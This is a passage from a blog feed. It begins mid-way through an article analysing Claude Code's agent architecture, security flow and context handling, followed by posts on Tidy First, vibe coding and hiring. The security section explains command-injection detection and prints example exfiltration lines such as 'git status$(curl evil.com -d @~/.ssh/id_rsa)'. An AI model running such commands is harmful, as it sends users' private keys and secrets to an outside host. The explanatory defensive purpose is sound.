        Task[Task Agent<br/>294 tokens<br/>- specific task execution<br/>- narrow scope]
    end
    
    subgraph "Utility Agents"
        Title[Title Generator<br/>159 tokens]
        Summary[Conversation Summarizer<br/>1121 tokens]
        BashPrefix[Bash Prefix Detector<br/>835 tokens]
        Sentiment[User Sentiment Analyzer<br/>205 tokens]
    end
    
    Main -->|complex exploration| Explore
    Main -->|planning needed| Plan
    Main -->|parallel work| Task
    
    Main -->|title generation| Title
    Main -->|conversation summary| Summary
    Main -->|command validation| BashPrefix
    Main -->|user sentiment analysis| Sentiment
    
    Explore --> Result1[Exploration results]
    Plan --> Result2[Execution plan]
    Task --> Result3[Task results]
    
    Result1 --> Main
    Result2 --> Main
    Result3 --> Main
    
    Note1[Sub-agent traits:<br/>1. No TodoWrite reminder<br/>2. Narrow-scope work<br/>3. Results passed to Main Agent]
    
    Note2[Conditional reminder:<br/>- when a Task grows complex<br/>- injected into tool results<br/>- suggests TodoWrite]
    
</pre>
<h3 id="walking-through-the-flow-4">Walking through the flow</h3>
<p><strong>The Main Agent: the orchestra&rsquo;s conductor</strong></p>
<p>The Main Agent is the &ldquo;core&rdquo; that carries the full system prompt (10,000+ tokens). It takes in and analyzes the user&rsquo;s request, spawns sub-agents as needed, and assembles the final result to deliver back to the user. It is much like an orchestra conductor directing each section and coordinating the whole piece of music.</p>
<p><strong>Built-in sub-agents: specialized experts</strong></p>
<ul>
<li>
<p><strong>Explore Agent (369 tokens)</strong>: specialized in codebase exploration. Given a question like &ldquo;where&rsquo;s the code that calls the API in this project?&rdquo;, it quickly searches across many files and locates the relevant code.</p>
</li>
<li>
<p><strong>Plan Agent (480 tokens)</strong>: draws up a plan for complex work. For a request like &ldquo;refactor the payment system,&rdquo; it works out which files to modify and in what order.</p>
</li>
<li>
<p><strong>Task Agent (294 tokens)</strong>: runs specific tasks in parallel. It carries the lightest prompt and performs only <strong>narrowly and clearly scoped work</strong>.</p>
</li>
</ul>
<p><strong>The core design principle behind sub-agents</strong></p>
<p>What&rsquo;s interesting is that sub-agents <strong>do not receive the TodoWrite reminder</strong>. This is deliberate. A sub-agent is supposed to perform only clear, narrowly scoped work that needs no complex task management. Once the work grows complex, the Main Agent should handle it.</p>
<p>But Anthropic didn&rsquo;t stop there. What if a sub-agent&rsquo;s work turns out to be more complex than expected? In that case, a <strong>TodoWrite reminder is conditionally injected into the tool result</strong> — a gentle suggestion that &ldquo;if the work seems to be getting complex, consider TodoWrite.&rdquo;</p>
<p><strong>Utility agents: the invisible helpers</strong></p>
<p>There are also agents that work in the background, invisible to the user:</p>
<ul>
<li><strong>Title Generator</strong>: generates a conversation title of 50 characters or fewer</li>
<li><strong>Conversation Summarizer</strong>: summarizes long conversations to improve context efficiency</li>
<li><strong>Bash Prefix Detector</strong>: validates the safety of commands</li>
<li><strong>User Sentiment Analyzer</strong>: detects user frustration or a request to create a PR</li>
</ul>
<p>These agents smooth out the user experience while also contributing to efficient token use.</p>
<hr>
<h2 id="6-security-and-permission-validation-flow">6. Security and Permission Validation Flow</h2>
<p>The fact that Claude Code runs in the terminal makes <strong>security doubly important</strong>. Malicious prompt injection or the execution of dangerous commands can do real damage to a real system.</p>
<pre class="mermaid">sequenceDiagram
    participant C as Claude
    participant CC as Claude Code
    participant Det as Prefix Detector<br/>(835 tokens)
    participant U as User
    participant Bash as Bash Shell
    
    C->>CC: Request Bash command execution
    CC->>Det: Request command analysis
    
    Det->>Det: 1. Extract command prefix<br/>e.g. "git commit" → "git commit"
    Det->>Det: 2. Detect command injection<br/>e.g. check backticks, pipelines
    
    alt Command injection detected
        Det-->>CC: "command_injection_detected"
        CC->>U: ⚠️ Security warning and approval request
        U-->>CC: Approve/deny
        CC-->>C: Deliver result
    else Safe command
        Det-->>CC: Return command prefix
        CC->>CC: Check allowlist
        
        alt On the allowlist
            CC->>Bash: Execute command
        else Not on the allowlist
            CC->>U: Request permission
            U-->>CC: Approve/deny
            alt Approved
                CC->>Bash: Execute command
            else Denied
                CC-->>C: Execution refused
            end
        end
        
        Bash-->>CC: Execution result
        CC->>CC: Add system reminder
        CC-->>C: Result + reminder
    end
    
    Note over Det: Injection pattern examples:<br/>- backticks: `id`<br/>- command substitution: $(cat secrets)<br/>- pipe: | curl evil.com
</pre>
<h3 id="walking-through-the-flow-5">Walking through the flow</h3>
<p><strong>Command injection: the invisible threat</strong></p>
<p>Suppose the user asks &ldquo;check the git status,&rdquo; but the command Claude actually runs is <code>git status$(curl evil.com -d @~/.ssh/id_rsa)</code>. That is a <strong>command injection attack</strong>. It looks safe on the surface, but hidden inside is a malicious command that ships sensitive data to the outside world.</p>
<p><strong>The Prefix Detector: the first line of defense</strong></p>
<p>Before executing any Bash command, Claude Code asks a <strong>dedicated Detector Agent (835 tokens)</strong> to validate it. This agent performs two jobs:</p>
<ol>
<li><strong>Extract the command prefix</strong>: <code>git commit -m &quot;fix bug&quot;</code> → <code>git commit</code></li>
<li><strong>Detect injection patterns</strong>: spot dangerous patterns such as backticks, <code>$()</code>, and pipelines</li>
</ol>
<p>Examples of the detection rules:</p>
<pre tabindex="0"><code>git status          → git status (safe)
git diff HEAD~1     → git diff (safe)
git status`ls`      → command_injection_detected (dangerous!)
git diff $(cat secrets) → command_injection_detected (dangerous!)
pwd curl example.com → command_injection_detected (dangerous!)
</code></pre><p><strong>The permission management system</strong></p>
<p>Once a command is judged safe, the next step is checking the <strong>allowlist</strong>. If it is a command prefix the user has previously allowed, it runs immediately. If not, Claude Code explicitly asks the user for permission.</p>
<p>Thanks to this system, users get frequently used safe commands executed automatically while still having a chance to review anything new.</p>
<p><strong>Unless you&rsquo;re in YOLO mode&hellip;</strong></p>
<p>Unless you use &ldquo;YOLO mode&rdquo; (<code>--dangerously-skip-permissions</code>), this security validation process is always active. That is what makes it safe to use Claude Code in the terminal.</p>
<hr>
<h2 id="7-context-engineering-strategies">7. Context Engineering Strategies</h2>
<p>Claude Code&rsquo;s performance ultimately depends on <strong>how efficiently it manages context</strong>. Let&rsquo;s look at the strategies for extracting maximum effect from a limited context window.</p>
<pre class="mermaid">graph LR
    subgraph "Context Front-Loading"
        A[Before the conversation starts]
        A --> B[1. Generate conversation title]
        A --> C[2. Detect topic change]
        A --> D[3. Summarize prior conversation]
    end
    
    subgraph "System Reminders"
        E[User message]
        F[Tool execution]
        G[Tool result]
        
        E --> E1["&lt;system-reminder&gt;<br/>key instructions"]
        F --> F1["&lt;system-reminder&gt;<br/>tool context"]
        G --> G1["&lt;system-reminder&gt;<br/>conditional suggestion"]
    end
    
    subgraph "Dynamic Context"
        H[Assess task complexity]
        H -->|simple| I[Minimal prompt]
        H -->|complex| J[Suggest TodoWrite]
        H -->|very complex| K[Spawn sub-agent]
    end
    
    subgraph "Cache Optimization"
        L[System Prompt]
        M[CLAUDE.md]
        N[Tool descriptions]
        
        L --> O["ephemeral cache<br/>(reused)"]
        M --> O
        N --> O
    end
    
    B --> Result[Final API request]
    C --> Result
    D --> Result
    E1 --> Result
    F1 --> Result
    G1 --> Result
    I --> Result
    J --> Result
    K --> Result
    O --> Result
    
</pre>
<h3 id="walking-through-the-flow-6">Walking through the flow</h3>
<p><strong>Context front-loading: preparing in advance</strong></p>
<p>Before handling the user&rsquo;s request, Claude Code performs a few &ldquo;preparatory tasks.&rdquo; It generates a conversation title, judges whether the current message is on a new topic, and, if necessary, summarizes the earlier conversation.</p>
<p>These steps involve <strong>separate LLM calls</strong>. On the surface that may look inefficient, but the context prepared this way substantially improves the quality of the conversation that follows. It is why Claude can pick up naturally with &ldquo;ah, we talked earlier about refactoring the payment system.&rdquo;</p>
<p><strong>System reminders: constant recall</strong></p>
<p>As described earlier, the <code>&lt;system-reminder&gt;</code> tag is injected throughout the conversation. This is a strategy of <strong>&ldquo;repeat whenever needed&rdquo; rather than &ldquo;say it once and you&rsquo;re done.&rdquo;</strong> Just as you remind a human teammate of important points more than once, the same applies to an AI agent.</p>
<p><strong>Dynamic context adjustment</strong></p>
<p>Context is adjusted dynamically according to the complexity of the work:</p>
<ul>
<li><strong>Simple work</strong>: use a minimal prompt. Avoid wasting tokens.</li>
<li><strong>Medium complexity</strong>: suggest using TodoWrite to track progress.</li>
<li><strong>High complexity</strong>: spawn a sub-agent to split up the work.</li>
</ul>
<p><strong>Cache optimization: cutting token costs</strong></p>
<p>Claude Code makes use of the Anthropic API&rsquo;s <code>ephemeral cache</code> feature. It applies cache control to <strong>repeatedly used content</strong> such as the system prompt, CLAUDE.md contents, and tool descriptions, so the same tokens aren&rsquo;t reprocessed on every request.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;text&#34;</span>: <span style="color:#e6db74">&#34;You are Claude Code...&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;type&#34;</span>: <span style="color:#e6db74">&#34;text&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;cache_control&#34;</span>: {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;type&#34;</span>: <span style="color:#e6db74">&#34;ephemeral&#34;</span>
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>This optimization contributes not only to cost savings but also to <strong>faster responses</strong>.</p>
<hr>
<h2 id="key-insights">Key Insights</h2>
<p>Here are the key insights I found while analyzing Claude Code. These lessons should be useful to anyone building AI agents.</p>
<h3 id="1-the-power-of-dynamic-prompt-composition">1. The power of dynamic prompt composition</h3>
<blockquote>
<p><strong>&ldquo;The answer isn&rsquo;t one all-purpose prompt, but a prompt system assembled to fit the situation&rdquo;</strong></p>
</blockquote>
<p>Claude Code does not use a single prompt. Instead, <strong>more than 40 prompt fragments are combined dynamically according to conditions</strong>. Per-project context injection through CLAUDE.md, real-time updates based on environment and Git status, selective prompt inclusion depending on the active mode — all of it adds up to the experience of &ldquo;an AI that understands the situation.&rdquo;</p>
<p><strong>Applying it in practice</strong>: when building your own AI agent, don&rsquo;t try to write one giant prompt. Instead, create modular prompt fragments and design a system that assembles only what the situation requires.</p>
<h3 id="2-the-magic-of-system-reminders">2. The magic of system reminders</h3>
<blockquote>
<p><strong>&ldquo;What matters isn&rsquo;t saying it once, but repeating it at the right moment&rdquo;</strong></p>
</blockquote>
<p>The <code>&lt;system-reminder&gt;</code> tag is Claude Code&rsquo;s &ldquo;secret weapon.&rdquo; Key instructions are <strong>repeated at every stage</strong> — user messages, tool calls, tool results. This prevents drift and keeps the focus on the goal even in long conversations.</p>
<p><strong>Applying it in practice</strong>: when your agent is performing a long task, don&rsquo;t put the important instructions only at the start. Inject reminders at appropriate points along the way. The pattern of adding conditional reminders to tool execution results is especially effective.</p>
<h3 id="3-a-hierarchical-agent-structure">3. A hierarchical agent structure</h3>
<blockquote>
<p><strong>&ldquo;The answer isn&rsquo;t one all-purpose agent, but collaboration among several agents with clear roles&rdquo;</strong></p>
</blockquote>
<p>Claude Code has a hierarchical structure made up of a <strong>Main Agent, sub-agents, and utility agents</strong>. Each agent has a clear role and an optimized prompt. The Main Agent focuses on overall coordination, the Explore Agent on exploration, the Plan Agent on planning, and the Task Agent on execution.</p>
<p><strong>Applying it in practice</strong>: don&rsquo;t try to solve complex work with a single agent. Separate agents by role, and give each one an optimized (and minimized) prompt. You can accomplish more focused work with less context.</p>
<h3 id="4-security-first-design">4. Security-first design</h3>
<blockquote>
<p><strong>&ldquo;Security isn&rsquo;t something you add later; it has to be built into the architecture from the start&rdquo;</strong></p>
</blockquote>
<p>A dedicated agent for detecting command injection, command prefix extraction and validation, a user permission approval process — Claude Code made <strong>security a core design principle</strong>. All of it is what lets users work with AI in the terminal &ldquo;with peace of mind.&rdquo;</p>
<p><strong>Applying it in practice</strong>: especially when building agents that involve code execution or file system access, make a security validation step mandatory. &ldquo;Make it work first and add security later&rdquo; is a dangerous approach.</p>
<h3 id="5-efficient-context-management">5. Efficient context management</h3>
<blockquote>
<p><strong>&ldquo;Getting the maximum effect from a limited context window is the heart of the engineering&rdquo;</strong></p>
</blockquote>
<p>Context front-loading, ephemeral cache, conditional context injection, conversation summarization — Claude Code <strong>treats every single token as precious</strong>. It removes unnecessary information, caches repeated information, and injects only what is needed, exactly when it is needed.</p>
<p><strong>Applying it in practice</strong>: don&rsquo;t think of the context window as infinite. Examine whether each part of your prompt is truly necessary, establish a caching strategy, and implement dynamic context adjustment.</p>
<hr>
<h2 id="conclusion-what-claude-code-teaches-us">Conclusion: what Claude Code teaches us</h2>
<p>The most striking thing about analyzing Claude Code is <strong>the meticulous engineering hidden behind behavior that looks like &ldquo;magic.&rdquo;</strong> It isn&rsquo;t one well-crafted prompt. Dozens of small prompt fragments are combined according to conditions, reminders are injected at the right moments, and security validation runs automatically — and that process is what produces the experience of software that &ldquo;just works.&rdquo;</p>
<p>There is one more mystery Anthropic has not disclosed: whether the <code>&lt;system-reminder&gt;</code> tag was trained to carry special meaning during Claude model training. Whether this tag is simple XML markup, or a &ldquo;special signal&rdquo; the model has been trained to pay particular attention to, is still unclear.</p>
<p>What is clear, though, is that Claude Code&rsquo;s patterns contain <strong>universal principles applicable to all AI agent development</strong>:</p>
<ol>
<li>Modularize your prompts and combine them dynamically</li>
<li>Repeat important instructions as reminders</li>
<li>Split complex work across specialized agents</li>
<li>Build security into the design from the start</li>
<li>Manage context efficiently</li>
</ol>
<p>Finally, while this article explains how Claude Code works, I hope it also serves as a reference for those building AI agents for purposes other than coding.</p>
<p><img src="/posts/images/agent-smith-300.png" alt="AI Agent">
The <del>greatest</del> first AI agent - Agent Smith</p>
<hr>
<h2 id="references">References</h2>
<h3 id="official-documentation">Official documentation</h3>
<ul>
<li><a href="https://www.anthropic.com/engineering/claude-code-best-practices">Claude Code Best Practices</a> - Anthropic</li>
<li><a href="https://docs.claude.com/en/release-notes/system-prompts">System Prompts</a> - Claude Docs</li>
</ul>
<h3 id="technical-analysis">Technical analysis</h3>
<ul>
<li><a href="https://medium.com/@outsightai/peeking-under-the-hood-of-claude-code-70f5a94a9a62">Peeking Under the Hood of Claude Code</a> - OutsightAI</li>
</ul>
<h3 id="github">GitHub</h3>
<ul>
<li><a href="https://github.com/Piebald-AI/claude-code-system-prompts">Piebald-AI/claude-code-system-prompts</a> - full list of system prompts (v2.0.43)</li>
<li><a href="https://github.com/gregkonush/claude-system-prompts">gregkonush/claude-system-prompts</a></li>
<li><a href="https://gist.github.com/agokrani/919b536246dd272a55157c21d46eda14">Claude Code System Prompt Gist</a></li>
</ul>
<h3 id="tools">Tools</h3>
<ul>
<li><a href="https://docs.litellm.ai/">LiteLLM</a> - API monitoring proxy</li>
<li><a href="https://github.com/Piebald-AI/tweakcc">tweakcc</a> - system prompt customization tool</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>The Tidy First Methodology: Interpreting and Applying Kent Beck&#39;s Augmented Coding</title>
            <link>https://roboco.io/en/posts/tidy-first-methodology/</link>
            <pubDate>Sun, 27 Jul 2025 06:29:39 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/tidy-first-methodology/</guid>
            <description>&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Lately I&amp;rsquo;ve been using Claude Code as my main working tool. The reason Claude Code performs so well is that it doesn&amp;rsquo;t execute a task immediately — it plans the work as a whole, systematically, then breaks it into small, clearly defined steps and carries them out one at a time.&lt;/p&gt;
&lt;p&gt;Today I&amp;rsquo;d like to introduce one more useful methodology on top of that: the approach called &amp;ldquo;Augmented Coding,&amp;rdquo; proposed by Kent Beck — famous as the originator of TDD (Test Driven Development) — on his blog. Seeing that he, too, is obsessed with coining new terms, it looks like he&amp;rsquo;s in a hurry to grab a piece of the vibe coding wave. That said, since this approach is grounded in the content of a book Kent Beck wrote previously — &lt;a href=&#34;https://www.hanbit.co.kr/store/books/look.php?p_code=B1474193984&#34;&gt;Tidy First? by Kent Beck&lt;/a&gt; — I&amp;rsquo;ve decided, on my own authority, to call it the &amp;ldquo;Tidy First methodology.&amp;rdquo;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<p>Lately I&rsquo;ve been using Claude Code as my main working tool. The reason Claude Code performs so well is that it doesn&rsquo;t execute a task immediately — it plans the work as a whole, systematically, then breaks it into small, clearly defined steps and carries them out one at a time.</p>
<p>Today I&rsquo;d like to introduce one more useful methodology on top of that: the approach called &ldquo;Augmented Coding,&rdquo; proposed by Kent Beck — famous as the originator of TDD (Test Driven Development) — on his blog. Seeing that he, too, is obsessed with coining new terms, it looks like he&rsquo;s in a hurry to grab a piece of the vibe coding wave. That said, since this approach is grounded in the content of a book Kent Beck wrote previously — <a href="https://www.hanbit.co.kr/store/books/look.php?p_code=B1474193984">Tidy First? by Kent Beck</a> — I&rsquo;ve decided, on my own authority, to call it the &ldquo;Tidy First methodology.&rdquo;</p>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Tidy First is an approach that separates structural changes from behavioral changes to lower complexity when coding with AI.</li>
<li>Tidy the code first and verify it with tests, then introduce functional changes — that&rsquo;s what keeps your workflow from getting shaken up.</li>
<li>Used together with a tool like Claude Code, it makes it easier for the developer to stay in control of code quality and direction.</li>
</ul>
<h2 id="the-core-of-augmented-coding-and-tidy-first">The Core of Augmented Coding and Tidy First</h2>
<p>The core of what Kent Beck calls Augmented Coding is clearly dividing coding work into two kinds: structural changes and behavioral changes. Structural changes are things like moving code around, renaming, or extracting a method — work that doesn&rsquo;t alter the behavior of the code. Behavioral changes are work that actually adds to or modifies the functionality of the code.</p>
<p>Beck emphasizes that these two kinds of change must never be mixed into a single commit. In particular, he explains that you should always handle structural changes first, and only introduce behavioral changes once you&rsquo;ve lowered the complexity of the code that way and are maintaining a clear test environment.</p>
<h2 id="the-rules-kent-beck-laid-out">The Rules Kent Beck Laid Out</h2>
<p>Here are the &ldquo;Tidy First&rdquo; rules Kent Beck actually used in his project:</p>
<ul>
<li>Always follow the TDD cycle (red → green → refactor) strictly.</li>
<li>Write the simplest failing test first.</li>
<li>Make the test pass with the minimum amount of code, and go no further.</li>
<li>Refactor only after the test passes.</li>
<li>Separate structural changes from behavioral changes, and keep the commits clearly distinct.</li>
<li>Commit only when all tests pass, there are no warnings, and the work forms a clear logical unit.</li>
<li>Thoroughly eliminate duplication in the code, and express intent through clear names and structure.</li>
<li>Keep methods small, and have each one carry a single responsibility.</li>
</ul>
<p>If you code while keeping to these clear rules, your code will incrementally become more robust and easier to understand, while avoiding complexity and unnecessary feature additions.</p>
<h2 id="applying-tidy-first-in-practice-and-its-benefits">Applying Tidy First in Practice, and Its Benefits</h2>
<p>From applying this &ldquo;Tidy First methodology&rdquo; alongside Claude Code in real projects, I found that it worked very effectively in the majority of them. When you start with structural changes to keep the codebase clean and only then introduce behavioral changes, you&rsquo;re far less likely to get lost midway as the code grows complex.</p>
<p>As Kent Beck noted in his <a href="https://github.com/KentBeck/BPlusTree3">B+ Tree project</a>, there are times when AI (GenAI) adds features that aren&rsquo;t needed, or the code becomes complex and development slows down. To prevent this, you should always do the structural tidying work first, and only add the next functional change after that work has been precisely verified by tests.</p>
<p>The &ldquo;Tidy First methodology&rdquo; lets the developer maintain control and clarity over the code when working with AI, and it&rsquo;s a great help in managing code quality and complexity.</p>
<p>This methodology will surely be effective in your projects too. I strongly recommend giving it a try.</p>
<h4 id="related-links">Related Links</h4>
<ul>
<li><a href="https://tidyfirst.substack.com/p/augmented-coding-beyond-the-vibes">Augmented Coding: Beyond the Vibes</a></li>
<li><a href="https://github.com/KentBeck/BPlusTree3/blob/main/.claude/system_prompt_additions.md">The rules file for the BPlusTree project</a></li>
<li><a href="https://www.hanbit.co.kr/store/books/look.php?p_code=B1474193984">Tidy First? by Kent Beck</a></li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Vibe Coding or Engineering Maturity: Which Comes First?</title>
            <link>https://roboco.io/en/posts/vibe-coding-vs-engineering-maturity/</link>
            <pubDate>Fri, 11 Jul 2025 14:46:42 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/vibe-coding-vs-engineering-maturity/</guid>
            <description>&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;A lot of developers think of vibe coding as nothing more than &amp;ldquo;a way to generate code automatically.&amp;rdquo; Give the tool an instruction, wait a moment, and beautiful code pops out. Reality is not that simple. In an environment with no automated tests, no solid design, and not even a functioning review process, vibe coding just churns out garbage code faster.&lt;/p&gt;
&lt;p&gt;This is not a tooling problem. It is an engineering maturity problem. Software engineering maturity and vibe coding complement each other, and only in an environment with high engineering maturity can vibe coding show what it is really capable of.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<p>A lot of developers think of vibe coding as nothing more than &ldquo;a way to generate code automatically.&rdquo; Give the tool an instruction, wait a moment, and beautiful code pops out. Reality is not that simple. In an environment with no automated tests, no solid design, and not even a functioning review process, vibe coding just churns out garbage code faster.</p>
<p>This is not a tooling problem. It is an engineering maturity problem. Software engineering maturity and vibe coding complement each other, and only in an environment with high engineering maturity can vibe coding show what it is really capable of.</p>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>In organizations weak on engineering fundamentals such as testing, design, and review, vibe coding can actually magnify quality problems faster.</li>
<li>Conversely, once documentation, test automation, IaC, and a review process are in place, AI tools lift development speed and quality together.</li>
<li>Vibe coding is a tool that works well only in mature organizations, and at the same time a tool that raises an organization&rsquo;s maturity.</li>
</ul>
<p>Paradoxically, vibe coding tools are enormously useful for raising engineering maturity. With vibe coding techniques you can organize specification documents, analyze existing code to generate tests automatically, and quickly verify whether those tests satisfy the spec. Implementing infrastructure quickly and accurately as IaC (Infrastructure as Code) is likewise possible without human intervention. Tools like SuperClaude, for example, make it easy to carry out a range of activities including code analysis, documentation, implementation, testing, and security scanning.</p>
<p>The relationship between vibe coding and engineering maturity can be expressed like this.</p>
<pre class="mermaid">%%{init: {
  'theme': 'base',
  'themeVariables': {
    'primaryColor': '#3b82f6',
    'primaryTextColor': '#1e293b',
    'primaryBorderColor': '#1e40af',
    'lineColor': '#6366f1',
    'secondaryColor': '#8b5cf6',
    'tertiaryColor': '#ec4899',
    'background': '#ffffff',
    'mainBkg': '#f8fafc',
    'secondBkg': '#e2e8f0',
    'tertiaryBkg': '#cbd5e1'
  }
}}%%
flowchart LR
    A["🚀 Vibe Coding"] 
    B["📈 Higher Software<br/>Engineering Maturity"]
    C["📚 Documentation<br/>System"]
    D["🏗️ IaC-Based<br/>Immutable Infrastructure"]
    E["🔍 Effective<br/>Review Process"]
    F["⚡ Augmented Coding<br/>Approach"]
    
    A --> C
    A --> D
    A --> E
    C --> B
    D --> B
    E --> B
    B --> F
    F --> A
    
    classDef startNode fill:#3b82f6,stroke:#1e40af,stroke-width:3px,color:#ffffff
    classDef processNode fill:#8b5cf6,stroke:#7c3aed,stroke-width:2px,color:#ffffff
    classDef outputNode fill:#10b981,stroke:#059669,stroke-width:2px,color:#ffffff
    classDef maturityNode fill:#f59e0b,stroke:#d97706,stroke-width:3px,color:#ffffff
    
    class A startNode
    class C,D,E processNode
    class F outputNode
    class B maturityNode
</pre>
<p>Here is my advice to anyone about to start with vibe coding. First put your existing project&rsquo;s documentation in order, build test automation, and set up a fully automated CI/CD pipeline along with IaC-based immutable infrastructure. Raising your engineering maturity is the first step toward using vibe coding properly. With software engineering maturity behind you, Kent Beck&rsquo;s <a href="https://tidyfirst.substack.com/p/augmented-coding-beyond-the-vibes">augmented coding approach</a> can then take the quality and speed that vibe coding delivers to their maximum.</p>
]]></content>
        </item>
        
        <item>
            <title>Hiring Strategy for the Vibe Coding Era</title>
            <link>https://roboco.io/en/posts/vibe-coding-hiring-strategy/</link>
            <pubDate>Sun, 06 Jul 2025 19:04:33 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/vibe-coding-hiring-strategy/</guid>
            <description>&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;The era of vibe coding is well and truly upon us. A world where AI writes the code and handles most of the day-to-day work has become reality. According to a blog post from Final Round AI, an AI-powered interview assistance platform — &lt;a href=&#34;https://www.finalroundai.com/blog/ai-tech-layoffs-mid-2025&#34;&gt;Halfway Through 2025, AI Has Already Replaced 94,000 Tech Workers&lt;/a&gt; — the headline says it all: roughly 94,000 people lost their jobs to AI in the first half of 2025 alone.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<p>The era of vibe coding is well and truly upon us. A world where AI writes the code and handles most of the day-to-day work has become reality. According to a blog post from Final Round AI, an AI-powered interview assistance platform — <a href="https://www.finalroundai.com/blog/ai-tech-layoffs-mid-2025">Halfway Through 2025, AI Has Already Replaced 94,000 Tech Workers</a> — the headline says it all: roughly 94,000 people lost their jobs to AI in the first half of 2025 alone.</p>
<p>Admittedly, the number was padded somewhat for shock value by lumping in business restructuring that merely happened around the same time. But it is hard to deny that the changes AI is bringing to the developer world are faster and more powerful than anyone imagined. So what should companies be thinking about in this situation? They need to change how they hire.</p>
<p>Hiring in the previous era focused on &ldquo;what do you know&rdquo; and &ldquo;what can you do.&rdquo; But if AI can do the job, there is no particular reason to hire a person for it. Instead, companies need to completely rebuild their hiring strategy around the capabilities found only in people: strategic thinking, leadership, and interpersonal communication.</p>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Hiring in the vibe coding era should evaluate the human capabilities AI cannot replace, rather than knowledge held or output produced.</li>
<li>The core things to assess are communication, strategic thinking, leadership, collaboration, self-reflection, and review skills.</li>
<li>Changing the criteria for hiring and promotion sends a powerful message to the entire organization about where the company is headed in the AI era.</li>
</ul>
<p>So how do you do it? Here are the hiring practices I propose for effectively assessing the capabilities AI cannot supply.</p>
<p>First, evaluate communication skills from the very first stage of hiring. Have candidates submit a three-minute self-introduction video and write a short essay, so you can gauge their logical expression and communication ability. The more AI advances, the more important communication becomes — both between people and between people and AI.</p>
<p>Second, introduce an &ldquo;adaptive business case&rdquo; exercise to assess strategic thinking. Give the candidate an ambiguous assignment, then abruptly change the situation right before submission. Real business rarely hands you a clearly defined problem. Only by watching someone recalibrate their strategy calmly amid crises and shifting variables can you identify genuine talent.</p>
<p>Third, to assess leadership and collaboration, a &ldquo;multiplayer mission room&rdquo; is worth using. Candidates solve a task in a mixed team that includes AI, while you observe how wisely they manage conflict and crisis. Pay attention to who steps up as the leader and how they put AI to use.</p>
<p>Fourth, run deep behavior-based interviews. Question candidates about their past behavior using the STAR method, and probe relentlessly into how they actually acted in difficult situations. That is where authenticity and the capacity for self-reflection come out.</p>
<p>Finally, assess the candidate&rsquo;s ability to review code and documents, not to produce them. Rather than production ability, check how quickly and accurately they can evaluate work created by other people or by AI. Review capability will emerge as a core competency in the AI era.</p>
<p>These are only proposals; I have not yet put them into practice. But now is the time to change. Some will survive or even thrive amid the change, and others will decline comfortably while doing things the way they always have. A company is a kind of pipeline through which people flow — and in a pipeline, the first stage matters most. Hiring and promotion are the clearest messages a company sends to its people. And that requires a decision from the chief executive. Setting the direction and pace of change is ultimately the CEO&rsquo;s job. Only with the CEO&rsquo;s resolve can the whole company catch up with change and get ahead of it.</p>
]]></content>
        </item>
        
        <item>
            <title>Agentic Coding Recommendations, Explained</title>
            <link>https://roboco.io/en/posts/agentic-coding-recommendations-explained/</link>
            <pubDate>Tue, 17 Jun 2025 13:38:18 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/agentic-coding-recommendations-explained/</guid>
            <description>&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;blockquote&gt;
&lt;p&gt;This post is based on Armin Ronacher&amp;rsquo;s blog article &lt;a href=&#34;https://lucumr.pocoo.org/2025/6/12/agentic-coding/&#34;&gt;&amp;ldquo;Agentic Coding Recommendations&amp;rdquo;&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;foreword&#34;&gt;Foreword&lt;/h2&gt;
